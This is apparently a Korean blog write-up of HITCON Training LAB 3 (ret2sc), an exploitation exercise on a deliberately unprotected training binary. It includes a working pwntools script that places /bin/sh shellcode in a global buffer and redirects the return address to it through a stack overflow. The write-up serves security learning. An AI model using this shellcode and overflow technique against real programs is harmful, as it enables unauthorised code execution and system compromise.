LAB 3

728x90

Mitigation

소스코드

 

보호기법이 전부 걸려있지 않으니, 프로그램을 실행해도 메모리의 주소는 변함이 없을것이다.

따라서 전역변수 name에 쉘코드를 넣어두고 bof를 통해서 ret에 name의 주소를 주면 쉘코드가 실행될 것이다.

Exploit

from pwn import *
#context.log_level = 'debug'

p = process('./ret2sc')
e = ELF('./ret2sc')
name = 0x804a060
shellcode = "\x90"*5+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p.sendlineafter('Name:', shellcode)
p.sendlineafter('best:', "A"*0x20+p32(name))

p.interactive()
728x90

'Hitcon Training' 카테고리의 다른 글

LAB 14(Unsorted bin Attack)  (0) 2021.07.25
LAB 12(Fastbin attack)  (0) 2021.07.25
LAB 5  (0) 2021.07.25
LAB 5 - 미완성  (0) 2021.07.25
Lab 1  (0) 2021.07.25